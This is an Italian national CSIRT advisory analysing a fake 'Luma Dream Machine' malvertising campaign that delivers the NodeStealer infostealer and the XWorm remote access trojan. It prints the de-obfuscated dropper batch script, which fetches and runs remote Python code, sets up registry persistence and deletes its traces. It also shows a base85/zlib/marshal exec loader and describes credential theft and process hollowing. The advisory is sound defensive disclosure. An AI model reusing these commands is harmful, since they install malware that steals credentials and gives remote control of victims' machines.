Malvertising: rilevata diffusione dei malware NodeStealer e Xworm (BL01/250429/CSIRT-ITA)
Data:
30 Aprile 2025 07:40
Descrizione e potenziali impatti
Questo CSIRT ha recentemente rilevato una campagna di “ malvertising ” [1] che utilizza loghi e riferimenti del brand “Luma Dream Machine” – nota piattaforma AI per la generazione video – per distribuire varianti del malware NodeStealer e del RAT XWorm ai danni di utenti Windows.
Vettore di attacco: pubblicità ingannevole
La tecnica si basa sulla creazione di pagine Facebook (Figura 1) progettate per riprodurre fedelmente il marchio legittimo e utilizzate per promuovere installer gratuiti tramite post e link ingannevoli, spesso diffusi anche attraverso contenuti sponsorizzati. La campagna, attiva sul territorio nazionale, rientra in una strategia di distribuzione malware volta al furto di credenziali, al dirottamento di sessioni web e all’acquisizione del controllo remoto dei dispositivi compromessi.

Qualora visitato il link fornito nella descrizione, l’utente viene reindirizzato ad una pagina che promuove il presunto software, esortando la potenziale vittima a effettuarne il download gratuito. Il file scaricato è un archivio ZIP (Figura 2) che contiene un falso video nominato “Video Dream Machines.mp4” , un eseguibile mascherato tramite padding [2] di spazi Unicode per apparire come un innocuo file multimediale.

Inoltre, all’interno dell’archivio è presente una cartella nascosta che, durante l’estrazione, viene registrata come cartella di sistema (Figura 2). Di conseguenza, anche se l’utente ha abilitato la visualizzazione dei file nascosti, tale directory non comparirà nella finestra di Esplora Risorse, rendendone difficile l’individuazione. Al suo interno si trovano le parti essenziali del malware (Figura 3), che verranno eseguite al momento dell’apertura del file, descritte di seguito.

Esecuzione del Dropper
All’avvio dell’applicazione, viene mostrata una finta finestra di Windows Media Player accompagnata da un messaggio di errore che simula un malfunzionamento del programma (Figura 4).

In realtà, il codice malevolo esegue il payload all’interno di CapCut.exe che:
- rinomina il file presente nella cartella “software” Document.docx in installl.bat
- converte un secondo file senza estensione in “image.exe”, che corrisponde all’eseguibile lecito del tool WinRar;
- lancia lo script “cmd.exe /c 5.0.0.1886\software\installl.bat”

Il contenuto dello script Bash (Figura 5 ) utilizza caratteri Unicode esotici volti ad
- offuscare visivamente lo script;
- eludere il rilevamento automatico (signature-based);
- ostacolare l’analisi manuale.
A seguito del de-offuscamento, il codice presenta la seguente catena di azioni:
1. @echo off2. cd /d "%~dp0"3. set "LD=import requests;exec(requests.get('https://<IP>/sysdi/randomuser2025.txt',verify=False).text)"4. mkdir "%LOCALAPPDATA%\SoftwareHost"5. powershell -ep b"yp"ass -w hid"de"n -c "exit"6. certutil -decode Document.pdf ppIuqewlq.rar7. images.exe x -p<PASSWORD> -inul -y ppIuqewlq.rar "%LOCALAPPDATA%\SoftwareHost"8. echo start "" /min "%LOCALAPPDATA%\SoftwareHost\srchost.exe" -c "%LD%" > "C:\Users\Public\Explorer.bat"9. reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Explorer.bat" /f10. start "" /min "%LOCALAPPDATA%\SoftwareHost\srchost.exe" -c "%LD%"11. del /S /Q ppIuqewlq.rar12. (goto) 2>nul & del "%~f0"a
La catena di esecuzione prevede:
- pto 3: il caricamento in memoria dei dati prelevati da una risorsa remota;
- pto 6: la decodifica di Document.PDF in un archivio .RAR, tramite il tool legittimo di Windows “certutil.exe”;
- pto 7: l’estrazione dell’archivio .RAR all’interno della cartella “%LOCALAPPDATA%\SoftwareHost”
- pto 8 e 9: creazione della persistenza, garantendo l’esecuzione del codice malevolo ad ogni riavvio del sistema tramite la manipolazione di apposite chiavi di registro di Windows;
- pto 10: avvio del secondo stadio dell’infezione tramite “srchost.exe”, che simula il processo legittimo “svchost.exe”;
- pto 11 e 12: eliminazione delle tracce di esecuzione.
Nel dettaglio, il contenuto dell’archivio .RAR (pto 7) consiste in un ambiente Python preconfigurato, predisposto per l’esecuzione del payload prelevato dalla risorsa remota (pto 3). Questa configurazione consente al malware di eseguire codice Python arbitrario anche in assenza di un interprete installato sul sistema della vittima (Figura 6).

Il payload recuperato dalla risorsa remota include due comandi strutturati come segue:
exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("<PAYLOAD_B85>"))))
Tali comandi utilizzano exec() per eseguire dinamicamente un oggetto marshal [3] deserializzato, compresso con zlib e codificato in Base85 [4] . Questo approccio permette di caricare ed eseguire bytecode direttamente in memoria ( Hybrid Fileless Execution ), evitando la scrittura di codice malevolo su disco e ostacolando le analisi statiche. Inoltre, la presenza di errori nella deserializzazione del bytecode marshal suggerisce l’adozione deliberata di una versione opportunamente predisposta dell’ambiente Python per tentare di complicare l’analisi retrospettiva del codice.
Primo Step: decompilazione dei bytecode
La decompilazione di entrambi i bytecode differisce unicamente per il payload eseguito nel secondo step e rivela l’uso della funzione hybrid_decrypt , che implementa un sistema di crittografia ibrida. Tale funzione utilizza una chiave RSA incorporata nel codice, ed una chiave AES rigenerata a runtime, per decrittografare il payload del secondo step di infezione. Il payload decrittografato viene quindi passato alla funzione runner , componente dedicata all’esecuzione del payload direttamente in memoria (Figura 7).

Di seguito l’analisi dei due payload eseguiti nel punto 10 precedentemente descritto.
Secondo step: analisi del primo bytecode – NodeStealer
Il primo payload è progettato per carpire un’ampia gamma di dati sensibili, in particolare:
- credenziali salvate nei browser basati su Chromium (Chrome, Edge, Brave, ecc.): tramite accesso diretto ai database SQLite (Login Data) e la decrittazione con la master key da Local State;
- dati sensibili dai profili Firefox, decifrando il database “key4.db” e analizzando il file “logins.json”;
- dati sensibili presenti nei cookie;
- carte di credito salvate nei browser;
- token di accesso a Facebook e Discord;
- informazioni sul sistema compromesso e sul relativo IP pubblico.
Per effettuare queste operazioni, il malware utilizza le API Restart Manager di Windows al fine di gestire e terminare i processi che potenzialmente impediscono l’accesso ai file contenenti dati sensibili.
I dati raccolti vengono quindi salvati nei file All_Passwords.txt , All_Cookies.txt e All_Cards.txt , compressi in un archivio ZIP, e successivamente inviati tramite richieste HTTP ad un bot Telegram che funge da C2, i cui dettagli (Token e Chat_ID) sono incorporati nel codice malevolo.
Dalle analisi effettuate, risulta che il payload identificato è riconducibile al malware NodeStealer .
Secondo step: analisi del secondo bytecode – Loader Python
Il secondo payload esegue una serie di controlli preliminari per analizzare il sistema su cui è in esecuzione, al fine di determinare le modalità di esecuzione del payload finale.
Nel dettaglio, individua l’architettura del sistema (32 o 64 bit) e verifica i processi in esecuzione.
Successivamente, verifica se in esecuzione sono presenti i processi AvastUI.exe (interfaccia di Avast) o wsc_proxy.exe (processo relativo al Centro sicurezza di Windows) per determinare la modalità di esecuzione del payload finale (Figura 8):

Nel primo caso, il codice adotta una tecnica di evasione avanzata nota come process hollowing, avviando il processo RegAsm.exe in stato sospeso (tramite CreateProcessA con flag CREATE_SUSPENDED ) e sostituendone in memoria il codice legittimo (con NtUnmapViewOfSection ) con un payload malevolo decrittato (tramite VirtualAllocEx e WriteProcessMemory ), prima di riprenderne l’esecuzione (con SetThreadContext e ResumeThread ).
Nel secondo caso, decifra uno shellcode [5] e utilizza le API di basso livello di Windows, come VirtualAlloc , RtlMoveMemory e CreateThread , per caricarlo ed eseguirlo direttamente in memoria.
Dalle analisi effettuate, risulta che il loader descritto ha come obiettivo il rilascio e l’esecuzione di Remote Access Trojan (RAT) XWorm.
Terzo step: esecuzione di XWorm
Dalle analisi è emersa la seguente configurazione del malware (Figura 9):

che ne prevede il controllo remoto tramite l’utilizzo del server di comando e controllo (C2) basato su API Telegram.
Si evidenziano le principali peculiarità:
- keylogging;
- acquisizione schermo, clipboard e microfono;
- controllo remoto completo del sistema;
- fingerprinting dell’ambiente di esecuzione;
- rilevamento di ambienti virtuali tramite query WMI;
- funzionalità anti-debug e anti-analisi;
- verifica e disabilitazione di strumenti di sicurezza.
Azioni di Mitigazione
Gli utenti e le organizzazioni possono far fronte a questa tipologia di attacchi attivando le seguenti misure preventive:
- prestare sempre attenzione agli URL che si intende visitare;
- non accedere a collegamenti internet o a relativi contenuti esterni se non si è certi dell’affidabilità della risorsa;
- evitare di aprire file eseguibili (lnk, exe, bat, js, vbs, ecc.) o documenti contenenti macro se non si è certi della loro liceità;
- impedire l’esecuzione di software non attendibile e non firmato, soprattutto qualora eseguito da dispositivi rimovibili;
- valutare l’implementazione del blocco dell’esecuzione di software da PATH quali %AppData% e %TEMP%, tramite AppLocker, Software Restriction Policies o ASR rules, impedendo che i malware vengano lanciati da percorsi usati comunemente dai dropper;
- valutare la possibilità di consentire l’esecuzione di software da directory sicure, quali “C:\Program Files” e “C:\Windows”, riducendo drasticamente la superficie d’attacco.
Azioni di risposta agli incidenti
Qualora si riscontrino evidenze di avvenuta compromissione sui propri sistemi, si raccomanda agli utenti e alle organizzazioni di attuare le seguenti azioni:
- collezionare eventuali evidenze, quali processi/servizi in esecuzione su dispositivi target, log di rete e log di autenticazione considerati non convenzionali;
- porre in isolamento e/o offline gli host potenzialmente interessati dalla compromissione;
- ripristinare gli host compromessi ad un’immagine precedente consistente (dopo aver espletato le necessarie attività forensi);
- resettare gli account degli utenti interessati dalla compromissione;
- segnalare tempestivamente a questo CSIRT, tramite il portale https://segnalazioni.acn.gov.it/ l’evento occorso.
[1] Malvertising (contrazione di malicious advertising ) è una tecnica che sfrutta spazi pubblicitari online per veicolare malware. Gli attaccanti prevedono la pubblicazione di annunci ingannevoli su siti legittimi o piattaforme social, spesso mascherati da contenuti affidabili. Il clic sull’annuncio reindirizza l’utente verso siti malevoli o avvia il download di file infetti.
[2] Padding : tecnica usata per camuffare l’estensione reale di un file eseguibile, facendo sembrare un file innocuo, come un video. Inserendo una lunga serie di spazi, o caratteri invisibili, tra il nome del file e la vera estensione (es. file.mp4[spazi].exe), l’estensione .exe può essere nascosta all’utente nei sistemi operativi che troncano i nomi lunghi o non mostrano l’estensione completa.
[3] Un oggetto marshal è una rappresentazione binaria di un oggetto Python, tipicamente usata per salvare strutture interne come codice compilato (bytecode).
[4] Base85 è una variante del tradizionale Base64, che codifica i dati binari in formato ASCII leggibile. A differenza del primo che usa 64 caratteri, Base85 utilizza 85 caratteri, offrendo una migliore compressione e una rappresentazione più compatta dei dati.
[5] Uno shellcode è una porzione di codice macchina (solitamente in formato binario o rappresentata come una sequenza di byte) progettata per essere eseguita direttamente in memoria al fine di compiere operazioni malevole o ottenere il controllo del sistema target.
Change log
Versione | Note | Data |
---|---|---|
1.0 | Pubblicato il 29-04-2025 | 29/04/2025 |
Il presente articolo è un prodotto originale di csirt.gov.it, riproposto qui a solo scopo di aumentarne la visibilità. Può essere visualizzato in versione originale al seguente link